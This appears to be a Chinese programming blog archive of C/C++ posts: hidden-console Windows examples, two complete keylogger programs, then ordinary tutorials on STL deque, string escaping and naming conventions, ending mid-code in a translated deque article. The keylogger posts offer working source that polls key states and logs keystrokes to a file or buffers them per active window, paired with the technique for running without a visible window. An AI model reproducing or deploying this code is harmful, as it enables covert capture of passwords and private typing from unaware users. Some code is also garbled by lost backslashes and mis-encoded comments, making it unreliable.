请点击下载相关源码
C控制台窗口隐藏
3 Jan控制台无法隐藏,改为winapi或者mfc
#include <stdio.h>
#include <windows.h>
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)
{
FILE* fp;
short LButtonState;
if(NULL == (fp = fopen( "C:\a.txt ", "w ")))
return - 1;
while(true)
{
//按住鼠标左键终止。
LButtonState = GetAsyncKeyState(VK_LBUTTON);
if(LButtonState & 0x8000)
{
fclose(fp);
break;
}
fprintf(fp, "%sn ", "我写,我写,我拼命地往里写! ");
}
return 0;
}
#include <afxwin.h>
class CHideApp : public CWinApp
{
public:
BOOL InitInstance();
CHideApp(){};
virtual ~CHideApp(){};
};
BOOL CHideApp::InitInstance()
{
CStdioFile fFile;
fFile.Open( "C:\write.txt " , CFile::modeCreate | CFile::modeWrite);
while(true)
{
//按住鼠标左键终止。
short LButtonState = GetAsyncKeyState(VK_LBUTTON);
if(LButtonState & 0x8000)
{
fFile.Close();
break;
}
fFile.WriteString( "我写!我写,我拼命的往里写!!!n ");
}
return TRUE;
}
CHideApp theApp;
键盘记录C语言代码(仅记录输入)
2 Jan#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
#include <iostream>
using namespace std;
string GetKey(int Key) // 判断键盘按下什么键
{
string KeyString = “”;
//判断符号输入
const int KeyPressMask=0x80000000; //键盘掩码常量
int iShift=GetKeyState(0x10); //判断Shift键状态
bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键
if(Key >=186 && Key <=222)
{
switch(Key)
{
case 186:
if(IS)
KeyString = “:”;
else
KeyString = “;”;
break;
case 187:
if(IS)
KeyString = “+”;
else
KeyString = “=”;
break;
case 188:
if(IS)
KeyString = “<“;
else
KeyString = “,”;
break;
case 189:
if(IS)
KeyString = “_”;
else
KeyString = “-“;
break;
case 190:
if(IS)
KeyString = “>”;
else
KeyString = “.”;
break;
case 191:
if(IS)
KeyString = “?”;
else
KeyString = “/”;
break;
case 192:
if(IS)
KeyString = “~”;
else
KeyString = “`”;
break;
case 219:
if(IS)
KeyString = “{“;
else
KeyString = “[“;
break;
case 220:
if(IS)
KeyString = “|”;
else
KeyString = “\”;
break;
case 221:
if(IS)
KeyString = “}”;
else
KeyString = “]”;
break;
case 222:
if(IS)
KeyString = ‘”‘;
else
KeyString = “‘”;
break;
}
}
//判断键盘的第一行
if (Key == VK_ESCAPE) // 退出
KeyString = “[Esc]”;
else if (Key == VK_F1) // F1至F12
KeyString = “[F1]”;
else if (Key == VK_F2)
KeyString = “[F2]”;
else if (Key == VK_F3)
KeyString = “[F3]”;
else if (Key == VK_F4)
KeyString = “[F4]”;
else if (Key == VK_F5)
KeyString = “[F5]”;
else if (Key == VK_F6)
KeyString = “[F6]”;
else if (Key == VK_F7)
KeyString = “[F7]”;
else if (Key == VK_F8)
KeyString = “[F8]”;
else if (Key == VK_F9)
KeyString = “[F9]”;
else if (Key == VK_F10)
KeyString = “[F10]”;
else if (Key == VK_F11)
KeyString = “[F11]”;
else if (Key == VK_F12)
KeyString = “[F12]”;
else if (Key == VK_SNAPSHOT) // 打印屏幕
KeyString = “[PrScrn]”;
else if (Key == VK_SCROLL) // 滚动锁定
KeyString = “[Scroll Lock]”;
else if (Key == VK_PAUSE) // 暂停、中断
KeyString = “[Pause]”;
else if (Key == VK_CAPITAL) // 大写锁定
KeyString = “[Caps Lock]”;
//————————————-//
//控制键
else if (Key == 8) //<- 回格键
KeyString = “[Backspace]”;
else if (Key == VK_RETURN) // 回车键、换行
KeyString = “[Enter]n”;
else if (Key == VK_SPACE) // 空格
KeyString = ” “;
//上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
//上档键和别的键组合,输出时有字符输出
/*
else if (Key == VK_LSHIFT) // 左侧上档键
KeyString = “[Shift]”;
else if (Key == VK_LSHIFT) // 右侧上档键
KeyString = “[SHIFT]”;
*/
/*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
else if (Key == VK_TAB) // 制表键
KeyString = “[Tab]”;
else if (Key == VK_LCONTROL) // 左控制键
KeyString = “[Ctrl]”;
else if (Key == VK_RCONTROL) // 右控制键
KeyString = “[CTRL]”;
else if (Key == VK_LMENU) // 左换档键
KeyString = “[Alt]”;
else if (Key == VK_LMENU) // 右换档键
KeyString = “[ALT]”;
else if (Key == VK_LWIN) // 右 WINDOWS 键
KeyString = “[Win]”;
else if (Key == VK_RWIN) // 右 WINDOWS 键
KeyString = “[WIN]”;
else if (Key == VK_APPS) // 键盘上 右键
KeyString = “右键”;
else if (Key == VK_INSERT) // 插入
KeyString = “[Insert]”;
else if (Key == VK_DELETE) // 删除
KeyString = “[Delete]”;
else if (Key == VK_HOME) // 起始
KeyString = “[Home]”;
else if (Key == VK_END) // 结束
KeyString = “[End]”;
else if (Key == VK_PRIOR) // 上一页
KeyString = “[PgUp]”;
else if (Key == VK_NEXT) // 下一页
KeyString = “[PgDown]”;
// 不常用的几个键:一般键盘没有
else if (Key == VK_CANCEL) // Cancel
KeyString = “[Cancel]”;
else if (Key == VK_CLEAR) // Clear
KeyString = “[Clear]”;
else if (Key == VK_SELECT) //Select
KeyString = “[Select]”;
else if (Key == VK_PRINT) //Print
KeyString = “[Print]”;
else if (Key == VK_EXECUTE) //Execute
KeyString = “[Execute]”;
//—————————————-//
else if (Key == VK_LEFT) //上、下、左、右键
KeyString = “[←]”;
else if (Key == VK_RIGHT)
KeyString = “[→]”;
else if (Key == VK_UP)
KeyString = “[↑]”;
else if (Key == VK_DOWN)
KeyString = “[↓]”;
else if (Key == VK_NUMLOCK)//小键盘数码锁定
KeyString = “[NumLock]”;
else if (Key == VK_ADD) // 加、减、乘、除
KeyString = “+”;
else if (Key == VK_SUBTRACT)
KeyString = “-“;
else if (Key == VK_MULTIPLY)
KeyString = “*”;
else if (Key == VK_DIVIDE)
KeyString = “/”;
else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .
KeyString = “.”;
//小键盘数字键:0-9
else if (Key == VK_NUMPAD0)
KeyString = “0”;
else if (Key == VK_NUMPAD1)
KeyString = “1”;
else if (Key == VK_NUMPAD2)
KeyString = “2”;
else if (Key == VK_NUMPAD3)
KeyString = “3”;
else if (Key == VK_NUMPAD4)
KeyString = “4”;
else if (Key == VK_NUMPAD5)
KeyString = “5”;
else if (Key == VK_NUMPAD6)
KeyString = “6”;
else if (Key == VK_NUMPAD7)
KeyString = “7”;
else if (Key == VK_NUMPAD8)
KeyString = “8”;
else if (Key == VK_NUMPAD9)
KeyString = “9”;
//——————————————-//
//——————————————-//
//*对字母的大小写进行判断*//
else if (Key >=97 && Key <= 122) // 字母:a-z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定
{
if(IS) //Shift按下:为小写字母
KeyString = Key;
else // 只有大写锁定:输出大写字母
KeyString = Key – 32;
}
else// 大写没有锁定
{
if(IS) // 按下Shift键: 大写字母
KeyString = Key – 32;
else // 没有按Shift键: 小写字母
KeyString = Key;
}
}
else if (Key >=48 && Key <= 57) // 键盘数字:0-9及上方的符号
{
if(IS)
{
switch(Key)
{
case 48: //0
KeyString = “)”;
break;
case 49://1
KeyString = “!”;
break;
case 50://2
KeyString = “@”;
break;
case 51://3
KeyString = “#”;
break;
case 52://4
KeyString = “$”;
break;
case 53://5
KeyString = “%”;
break;
case 54://6
KeyString = “^”;
break;
case 55://7
KeyString = “&”;
break;
case 56://8
KeyString = “*”;
break;
case 57://9
KeyString = “(“;
break;
}
}
else
KeyString = Key;
}
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key >=65 && Key <=90) //ASCII 65-90 为A-Z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定:输出A-Z
{
if(IS) // 大写锁定,并且按下上档键:输出为小写字母
KeyString = Key + 32;
else //只有大写锁定:输出为大写字母
KeyString = Key;
}
else // 大写没有锁定:a-z
{
if(IS)
{
KeyString = Key;
}
else
{
Key = Key + 32;
KeyString = Key;
}
}
}
}
return KeyString;
}
void main()
{
string Filename = “E:\log.txt”;
string TempString = “”;
fstream FStream;
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
while(true)
{
Sleep(5);
for(int i = 8; i <=255; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i);
FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
}
}
}
键盘记录C语言代码
2 Jan#include <windows.h>
#include <stdio.h>
// Some Global Variables
// Lower Case Key & Some Other Keys
char *LowerCase[]={
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"`",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"-",
"=",
"[TAB]",
"q",
"w",
"e",
"r",
"t",
"y",
"u",
"i",
"o",
"p",
"[",
"]",
"a",
"s",
"d",
"f",
"g",
"h",
"j",
"k",
"l",
";",
"’",
"z",
"x",
"c",
"v",
"b",
"n",
"m",
",",
".",
"/",
"\",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[PageUp]",
"[Del]",
"[End]",
"[PageDown]",
"[Left]",
"[UP]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};
// Upper Case Key & Some Other Keys
char *UpperCase[]={
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"~",
"!",
"@",
"#",
"$",
"%",
"^",
"&",
"*",
"(",
")",
"_",
"+",
"[TAB]",
"Q",
"W",
"E",
"R",
"T",
"Y",
"U",
"I",
"O",
"P",
"{",
"}",
"A",
"S",
"D",
"F",
"G",
"H",
"J",
"K",
"L",
":",
""",
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
"<",
">",
".?",
"|",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[PageUp]",
"[Del]",
"[End]",
"[PageDown]",
"[Left]",
"[Up]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};
// Ascii Keys,Forget About It
int SpecialKeys[]={
8,
13,
27,
112,
113,
114,
115,
116,
117,
118,
119,
120,
121,
122,
123,
192,
49,
50,
51,
52,
53,
54,
55,
56,
57,
48,
189,
187,
9,
81,
87,
69,
82,
84,
89,
85,
73,
79,
80,
219,
221,
65,
83,
68,
70,
71,
72,
74,
75,
76,
186,
222,
90,
88,
67,
86,
66,
78,
77,
188,
190,
191,
220,
17,
91,
32,
92,
44,
145,
45,
36,
33,
46,
35,
34,
37,
38,
39,
40,
144,
111,
106,
109,
107,
96,
97,
98,
99,
100,
101,
102,
103,
104,
105,
110,
};
HWND PreviousFocus=NULL;
// End Of Data
// Function ProtoType Declaration
//———————————————————————-
BOOL IsWindowsFocusChange();
BOOL KeyLogger();
//———————————————————————-
// End Of Fucntion ProtoType Declaration
// Main Function
int main()
{
KeyLogger(); // Run The Keylogger
return 0; // The Program Quit
}
// End Of Main
//————————————————————————-
// Purpose: To Check The Active Windows Title
// Return Type: Boolean
// Parameters: NULL
//————————————————————————-
BOOL IsWindowsFocusChange()
{
HWND hFocus = GetForegroundWindow(); // Retrieve The Active Windows’s Focus
BOOL ReturnFlag = FALSE; // Declare The Return Flag
if (hFocus != PreviousFocus) // The Active Windows Has Change
{
PreviousFocus = hFocus; // Save The Old Active Windos Focus
int WinLeng = GetWindowTextLength(hFocus); // Get The Active Windows’s Caption’s Length
char *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2)); // Allocate Memory For The Caption
GetWindowText(hFocus,WindowCaption,(WinLeng + 1)); // Retrieve The Active Windows’s Caption
if (strlen(WindowCaption) > 0) // Really Get The Window
s’s Caption
{
printf("rnThe Active Windows Title: %srn",WindowCaption); // Display The Active Windows’s Caption
ReturnFlag=TRUE; // Indicate The Windows’s Focus Has Changed
}
free(WindowCaption); // Free The Allocated Memory
}
return ReturnFlag; // Return The Flag
}// End Of IsWindowsFocusChange Function
//————————————————————————-
// Purpose: To Manage(Display)The Keys Retrieved From System’s Key Buffer
// Return Type: Boolean
// Parameters: NULL
//————————————————————————-
BOOL KeyLogger()
{
int bKstate[256] = {0}; // Declare The Key State Array
int i,x;
char KeyBuffer[600]; // Key Buffer Array
int state; // Variable To Hode State Of Some Special Key Like CapsLock,Shift And ect
int shift; // Variable To Hode State Of Shift Key
// Reset The Buffer
memset(KeyBuffer,0,sizeof(KeyBuffer));
while(TRUE) // Forever Loop Is Taking Place Here
{
Sleep(8); // Rest For A While,And Avoid Taking 100% CPU Usage.Pretty Important To Add This Line Or The System Gets Fucked UP
if (IsWindowsFocusChange()) //Check The Active Windows Title
{
if (strlen(KeyBuffer) != 0) // Keys Are Pressed
{
printf("%srn",KeyBuffer); // Display The Keys Pressed
memset(KeyBuffer,0,sizeof(KeyBuffer)); // reset The Buffer
}
}
for(i=0;i<95;i++) // Looping To Check Visual Keys
{
shift = GetKeyState(VK_SHIFT); // Check Whether Shift Is Pressed
x = SpecialKeys[i]; // Match The Key
if (GetAsyncKeyState(x) & 0x8000) // Check Combination Keys
{
// See Whether CapsLocak Or Shift Is Pressed
if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91))) //Caps Lock And Shift Is Not Pressed
{
bKstate[x] = 1; //Uppercase Characters A-Z
}
else
if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //Caps Lock And Shift Is Pressed
{
bKstate[x] = 2; //Lowercase a-z
}
else
if (shift < 0) // Shift Is Pressed
{
bKstate[x] = 3; //Uppercase Characters A-Z
}
else
bKstate[x] = 4; //Lowercase a-z
}
else
{
if (bKstate[x] != 0) // No Combination Keys Detected
{
state = bKstate[x]; // Retrieve The Current State
bKstate[x] = 0; // Reset The Current State
if (x == 8) // Back Space Is Detected
{
KeyBuffer[strlen(KeyBuffer) – 1] = 0; // One Key Back Then
continue; // Start A New Loop
}
else
if (strlen(KeyBuffer) > 550) // Buffer FULL
{
printf("%s <Buffer Full>",KeyBuffer); // Display The Keys Retrieved
memset(KeyBuffer,0,sizeof(KeyBuffer)); // Reset The Buffer
continue; // Start A New Loop
}
else
if (x == 13) // Enter Is Detected
{
if (strlen(KeyBuffer) == 0) // No Other Keys Retrieved But Enter
{
continue; // Start A New Loop
}
printf("%s<Enter>rn",KeyBuffer); // Retrieve Other Keys With Enter
memset(KeyBuffer,0,sizeof(KeyBuffer)); // Display The Keys With Enter
continue; // Start A New Loop
}
else
if ((state%2) == 1) //Must Be Upper Case Characters
{
strcat(KeyBuffer,UpperCase[i]); // Store The Key To Key Buffer
}
else
if ((state%2) == 0) // Must Be Lower Case Characters
{
strcat(KeyBuffer,LowerCase[i]); // Store The Key To Key Buffer
}
}
}
}// End Of For Loop
}// End Of While Loop
return TRUE; // Return To The Caller
}// End Of KeyLogger Function
// End Of File
C++ STL 容器技术 之 deque双端队列容器
20 Nov简介:
deque双端队列容器(double-ended queue)与vector非常相似,算法的时间复杂度也是常数阶O(1),deque内部的数据机制和执行性能与vector不同,一般说来,当考虑到容器元素的内存分配策略和操作的性能时,deque相对vector较为有优势。deque双端队列采用分块的线性结构来存储数据,具有高效的删除首尾元素的函数,由于deque容器是以deque块为单位进行内存的分配,并使用了二级的Map进行管理,因此不容易实现类似于vector的capacity和reverse函数,而且deque容器也不需要这样的获取和调整容器大小的函数。
deque应用基础:
创建deque对象:
1、deque() 创建一个空的deque对象。
如:deque<int> d;
2、deque(size_type n) 创建一个具有n个元素的deque对象,每个deque元素具有它的类型下的默认值。
如:deque<int> d(10);
3、deque(size_type n, const T& value) 创建一个具有n个元素的deque对象,每个元素具有初始值value。
如:deque<int> d(10, 5);
4、deque(const deque&) 通过拷贝一个deque对象的各个元素值,创建一个新的deque对象。
如:deque<int> d1(10, 5); deque<int> d2(d1);
5、deque(const InputIterator first, const InputIterator last, const A& a=A()) 通过拷贝迭代器区间[first, last)的元素值,创建一个新的deque对象中,内存分配器可省略。
如:int iArray[] = {1,2,3}; deque<int> d(iArray, iArray+3);
初始化赋值:
deque提供的push_back函数常用来进行deque容器的初始化,push_back函数在容器的尾端插入新元素value。
void push_back(const T&)
元素的遍历访问:
deque的元素可采用数组或迭代器的方式进行遍历访问。
元素的插入:
由于deque使用了两个迭代器分别指向双端队列的首尾,因此deque具有高效的头部插入元素的函数push_front()
void push_front(const T&)
其它位置的插入,将涉及相关元素的移位拷贝,insert函数的一个较常用的原型为:
iterator insert(iterator pos, const T& x)
元素的删除:
void pop_front() 删除deque的第一个元素
void pop_back() 删除deque的最后一个元素
iterator erase(iterator pos) 删除迭代器pos所指的元素
iterator erase(iterator first, iterator last) 删除迭代器区间[first, last)的所有元素
void clear() 调用erase函数,清除所有元素
元素的反向遍历:
reverse_iterator rbegin()
reverse_iterator rend()
deque的交换:
void swap(deque&)
其它常用函数:
bool empty()
size_type size()
size_type max_size()
reference front()
reference back()
举例分析:
1、
//用数组的方式访问deque元素
#include <iostream>
#include <deque>
using namespace std;
int main(void)
{
deque<int> d;
d.push_back(13);
d.push_back(32);
d.push_back(29);
for (int i=0; i<d.size(); i++)
{
cout << "d[" << i << "] = " << d[i] << endl;
}
return 0;
}
2、
//用迭代器访问deque元素
#include <deque>
#include <iostream>
using namespace std;
int main(void)
{
deque<string> d;
d.push_back("a");
d.push_back("b");
d.push_back("c");
deque<string>::iterator i, iend;
iend = d.end();
int j;
for (i=d.begin(),j=0; i!=iend; i++,j++)
{
cout << *i << " ";
}
cout << endl;
return 0;
}
3、
//头部和中间位置插入deque元素
#include <deque>
#include <iostream>
using namespace std;
int main(void)
{
deque<int> d;
d.push_back(6);
d.push_back(7);
//头部插入
d.push_front(5);
for (int i=0; i<d.size(); i++)
{
cout << d[i] << " ";
}
cout << endl;
//中间位置插入
d.insert(d.begin()+1, 9);
for (int j=0; j<d.size(); j++)
{
cout << d[j] << ‘ ‘;
}
cout << endl;
return 0;
}
4、
//头尾和其它位置删除deque元素
#include <deque>
#include <iostream>
using namespace std;
int main(void)
{
deque<int> d;
d.push_back(4);
d.push_back(5);
d.push_back(3);
d.push_back(3);
d.push_back(3);
d.push_back(6);
for (int i=0; i<d.size(); i++)
{
cout << d[i] << ‘ ‘ ;
}
cout << endl;
//头尾和任意位置删除元素
d.erase(d.begin()+1);
d.pop_front();
d.pop_back();
for (int j=0; j<d.size(); j++)
{
cout << d[j] << ‘ ‘ ;
}
cout << endl;
//删除所有元素
d.clear();
cout << "执行clear()" << endl << "deque元素全部清除" << endl;
return 0;
}
5、
//deque元素的反向遍历
#include <deque>
#include <iostream>
using namespace std;
int main(void)
{
deque<int> d;
d.push_back(1);
d.push_back(3);
d.push_back(5);
d.push_back(7);
d.push_back(9);
//deque元素的前向遍历
deque<int>::iterator i, iend;
iend = d.end();
for (i=d.begin(); i!=iend; i++)
{
cout << *i << " ";
}
cout << endl;
//deque元素的反向遍历
deque<int>::reverse_iterator ri, riend;
riend = d.rend();
for (ri=d.rbegin(); ri!=riend; ri++)
{
cout << *ri << " ";
}
cout << endl;
return 0;
}
6、
//两个deque容器的元素交换
#include <deque>
#include <iostream>
using namespace std;
void print(deque<int>& d)
{
for (int i=0; i<d.size(); i++)
{
cout << d[i] << " ";
}
cout << endl;
}
int main(void)
{
deque<int> d1;
d1.push_back(11);
d1.push_back(12);
d1.push_back(13);
cout << "d1 = ";
print(d1);
deque<int> d2;
d2.push_back(90);
d2.push_back(91);
d2.push_back(92);
cout << "d2 = ";
print(d2);
//d1和d2交换
d1.swap(d2);
cout << "d1与d2交换后" << endl;
cout << "d1 = ";
print(d1);
cout << "d2 = ";
print(d2);
return 0;
}
7、
//deque其它常用函数的使用
#include <deque>
#include <iostream>
using namespace std;
int main(void)
{
deque<string> d;
//打印deque为空
cout << "d是否为空: " << d.empty() << endl;
//装入元素
d.push_back("红楼梦");
d.push_back("源氏物语");
d.push_back("教父");
d.push_back("水浒传");
d.push_back("24史");
//打印deque所有元素
deque<string>::iterator i, iend;
iend = d.end();
for (i=d.begin(); i!=iend; i++)
{
cout << *i << " ";
}
cout << endl;
//打印首元素
cout << "deque首元素为: " << d.front() << endl;
//打印末元素
cout << "deque末元素为: " << d.back() << endl;
//打印元素个数
cout << "deque元素个数为: " << d.size() << endl;
//打印可支持的最大deque元素个数
cout << "deque最大元素个数为: " << d.max_size() << endl;
return 0;
}
单引号与双引号的输出
17 Novprintf("hello’");//和下面一个都对
printf("hello’");
printf("hello"");//有error
printf("hello"");//这样才对
数组+1的实验程序
15 Nov#include<stdio.h>
#include "iostream"
using namespace std;
int main()
{
char line[1000];
char *p;
int tot1,tot2;
p=line+1;
if(gets(p)!=NULL)//×¢ÒâgetsºÍfgetsµÄÇø±ð£¬fgets¿ÉÄÜ´øÈë"n"
{
cout<<line+1;
}
tot1=strlen(line);
tot2=strlen(p);
cout<<"n"<<tot1<<"n"<<tot2;
return 0;
}
骆驼命名法,帕斯卡命名法和匈牙利命名法
15 Nov一、匈牙利命名法:广泛应用于象Microsoft Windows这样的环境中。
Windows 编程中用到的变量(还包括宏)的命名规则匈牙利命名法,这种命名技术是由一位能干的 Microsoft 程序员查尔斯·西蒙尼(Charles Simonyi) 提出的。
匈牙利命名法通过在变量名前面加上相应的小写字母的符号标识作为前缀,标识出变量的作用域,类型等。这些符号可以多个同时使用,顺序是先m_(成员变量),再指针,再简单数据类型,再其他。例如:m_lpszStr, 表示指向一个以0字符结尾的字符串的长指针成员变量。
匈牙利命名法关键是:标识符的名字以一个或者多个小写字母开头作为前缀;前缀之后的是首字母大写的一个单词或多个单词组合,该单词要指明变量的用途。
匈牙利命名法中常用的小写字母的前缀:
前 缀 类 型
a 数组 (Array)
b 布尔值 (Boolean)
by 字节 (Byte)
c 有符号字符 (Char)
cb 无符号字符 (Char Byte,没有多少人用)
cr 颜色参考值 (ColorRef)
cx,cy 坐标差(长度 ShortInt)
dw Double Word
fn 函数
h Handle(句柄)
i 整型
l 长整型 (Long Int)
lp Long Pointer
m_ 类的成员
n 短整型 (Short Int)
np Near Pointer
p Pointer
s 字符串型
sz 以null做结尾的字符串型 (String with Zero End)
w Word
二、骆驼命名法:
骆驼式命令法,正如它的名称所表示的那样,是指混合使用大小写字母来构成变量和函数的名字。例如,下面是分别用骆驼式命名法和下划线法命名的同一个函数:
printEmployeePaychecks();
print_employee_paychecks();
第一个函数名使用了骆驼式命名法——函数名中的每一个逻辑断点都有一个大写字母来标记;第二个函数名使用了下划线法—-函数名中的每一个逻辑断点都有一个下划线来标记。
骆驼式命名法近年来越来越流行了,在许多新的函数库和Microsoft
Windows这样的环境中,它使用得当相多。另一方面,下划线法是c出现后开始流行起来的,在许多旧的程序和UNIX这样的环境中,它的使用非常普遍。
三、帕斯卡(pascal)命名法:
与骆驼命名法类似。只不过骆驼命名法是首字母小写,而帕斯卡命名法是首字母大写
如:public void
DisplayInfo();
string UserName;
二者都是采用了帕斯卡命名法.
在C#中,以帕斯卡命名法和骆驼命名法居多。
简单说
MyData 就是一個帕斯卡命名的示例
而myData是一個骆驼命名法,它第一個單詞的第一個字母小寫,後面的單詞首字母大寫,看起來像一個骆驼
而iMyData是一個匈牙利命名法,它的小寫的i說明了它的型態,後面的和帕斯卡命名相同,指示了該變量的用途.
系统命名法与应用命名法的区别在于前缀的目的。
在系统匈牙利命名法中,前缀代表了变量的实际数据类型。例如:
lAccountNum
:变量是一个长整型("l");arru8NumberList
:变量是一个无符号8位整型数组("arru8");szName
:变量是一个零结束字符串("sz"),这是西蒙尼最开始建议的前缀之一。
匈牙利应用命名法不表示实际数据类型,而是给出了变量目的的提示,或者说它代表了什么。
rwPosition
:变量代表一个行("rw")。usName
:变量代表一个非安全字符串("us"),需要在使用前处理。strName
:变量代表一个包含名字的字符串("str")但是没有指明这个字符串是如何实现的。
西蒙尼建议的大多数前缀都是自然语义的,但不是所有。下面几个是来自原始论文的: [1]
pX
是指向另一个X类型的指针,这包含非常少的语义信息。d
是一个前缀表示两个值的区别,例如,dY可能代表一个图形沿Y轴的距离,而一个仅仅叫做y的变量可能是一个绝对坐标。这完全是自然语义的。sz
是一个无结束或零结束的字符串。在C中,这包含一些语义信息,因为它不是很明确一个char*类型的变量是一个指向单个字符的指针,还是一个字符数组,亦或是一个零结束字符串。w
标记一个变量是一个字。这基本上没有包含什么语义信息,因此大概会被当成是系统命名法。b
标记了一个字节,和w对比可能有一些语义信息,因为C语言中,只有字节大小的数据是char型的,因此这些有时候被用来保存数值。这个前缀也许可以明确某个变量保存的是应该被看作是字母(或更一般的字符)的数值还是一个数字。
由于这种命名法通常使用小写字母开头用来助记,但是并没有对助记符本身作规定。有几种被广泛使用的习惯(见下面的示例),但是任意字母组合都可以被使用,只要它们在代码主体中保持一
就可以了。
在使用匈牙利系统命名法的代码中有时候也可能包含系统匈牙利命名法,即在描述被单独以类型方式定义的变量时使用。
深入研究 C++中的 STL Deque 容器
15 Nov转自http://www.yesky.com/100/1889600_3.shtml
本文档深入分析了std::deque,并提供了一个指导思想:当考虑到内存分配和执行性能的时候,使用std::deque要比std::vector好。
介绍
本文深入地研究了std::deque 容器。本文将讨论在一些情况下使用deque> 比vector更好。读完这篇文章后读者应该能够理解在容量增长的过程中deque 与vector在内存分配和性能的不同表现。由于deque> 和vector的用法很相似,读者可以参考vector 文档中介绍如何使用STL容器。
Deque总览
deque和vector一样都是标准模板库中的内容,deque是双端队列,在接口上和vector非常相似,在许多操作的地方可以直接替换。假如读者已经能够有效地使用vector容器,下面提供deque的成员函数和操作,进行对比参考。
Deque成员函数
函数
描述
c.assign(beg,end)
c.assign(n,elem)
将[beg; end)区间中的数据赋值给c。
将n个elem的拷贝赋值给c。
c.at(idx)
传回索引idx所指的数据,如果idx越界,抛出out_of_range。
c.back()
传回最后一个数据,不检查这个数据是否存在。
c.begin()
传回迭代器重的可一个数据。
c.clear()
移除容器中所有数据。
deque<Elem> c
deque<Elem> c1(c2)
Deque<Elem> c(n)
Deque<Elem> c(n, elem)
Deque<Elem> c(beg,end)
c.~deque<Elem>()
创建一个空的deque。
复制一个deque。
创建一个deque,含有n个数据,数据均已缺省构造产生。
创建一个含有n个elem拷贝的deque。
创建一个以[beg;end)区间的deque。
销毁所有数据,释放内存。
c.empty()
判断容器是否为空。
c.end()
指向迭代器中的最后一个数据地址。
c.erase(pos)
c.erase(beg,end)
删除pos位置的数据,传回下一个数据的位置。
删除[beg,end)区间的数据,传回下一个数据的位置。
c.front()
传回地一个数据。
get_allocator
使用构造函数返回一个拷贝。
c.insert(pos,elem)
c.insert(pos,n,elem)
c.insert(pos,beg,end)
在pos位置插入一个elem拷贝,传回新数据位置。
在pos位置插入>n个elem数据。无返回值。
在pos位置插入在[beg,end)区间的数据。无返回值。
c.max_size()
返回容器中最大数据的数量。
c.pop_back()
删除最后一个数据。
c.pop_front()
删除头部数据。
c.push_back(elem)
在尾部加入一个数据。
c.push_front(elem)
在头部插入一个数据。
c.rbegin()
传回一个逆向队列的第一个数据。
c.rend()
传回一个逆向队列的最后一个数据的下一个位置。
c.resize(num)
重新指定队列的长度。
c.size()
返回容器中实际数据的个数。
C1.swap(c2)
Swap(c1,c2)
将c1和c2元素互换。
同上操作。
Deque操作
函数
描述
operator[]
返回容器中指定位置的一个引用。
上面这些特征和vector明显相似,所以我们会提出下面的疑问。
问题:如果deque和vector可以提供相同功能的时候,我们使用哪一个更好呢?
回答:如果你要问的话,就使用vector吧。
或者你给个解释?
非常高兴你这样问,的确,这并不是无中生有的,事实上,在C++标准里解释了这个问题,下面有一个片断:
vector在默认情况下是典型的使用序列的方法,对于deque,当使用插入删除操作的时候是一个更好的选择。
有趣的是,本文就是要非常彻底地理解这句话。
什么是新的?
细读上面两张表格,你会发现和vector比较这里增加了两个函数。
1、c.push_front(elem) —— 在头部插入一个数据。
2、c.pop_front() —— 删除头部数据。
调用方法和c.push_back(elem)和c.pop_back()相同,这些将来会告诉我们对于deque> 会非常有用,deque可以在前后加入数据。>
缺少了什么?
同时你也会发现相对于vector> 缺少了两个函数,你将了解到deque> 不需要它们。
1、capacity()—— 返回vector当前的容量。
2、reserve() —— 给指定大小的vector> 分配空间。
这里是我们真正研究的开始,这里说明deque> 和vector它们在管理内部存储的时候是完全不同的。deque是大块大块地分配内存,每次插入固定数量的数据。vector是就近分配内存(这可能不是一个坏的事情)。但我们应该关注是,vector每次增加的内存足够大的时候,在当前的内存不够的情况。下面的实验来验证deque不需要capacity()和reserve()> 是非常有道理的。
实验一 —— 增长的容器
目的
目的是通过实验来观察deque和vector在容量增长的时候有什么不同。用图形来说明它们在分配内存和执行效率上的不同。
描述
这个实验的测试程序是从一个文件中读取文本内容,每行作为一个数据使用push_back插入到deque> 和vector中,通过多次读取文件来实现插入大量的数据,下面这个类就是为了测试这个内容:
#include <deque>
#include <fstream>
#include <string>
#include <vector>
static enum modes
{
FM_INVALID = 0,
FM_VECTOR,
FM_DEQUE
};
class CVectorDequeTest
{
public:
CVectorDequeTest();
void ReadTestFile(const char* szFile, int iMode)
{
char buff[0xFFFF] = {0};
std::ifstream inFile;
inFile.open(szFile);
while(!inFile.eof())
{
inFile.getline(buff, sizeof(buff));
if(iMode == FM_VECTOR)
m_vData.push_back(buff);
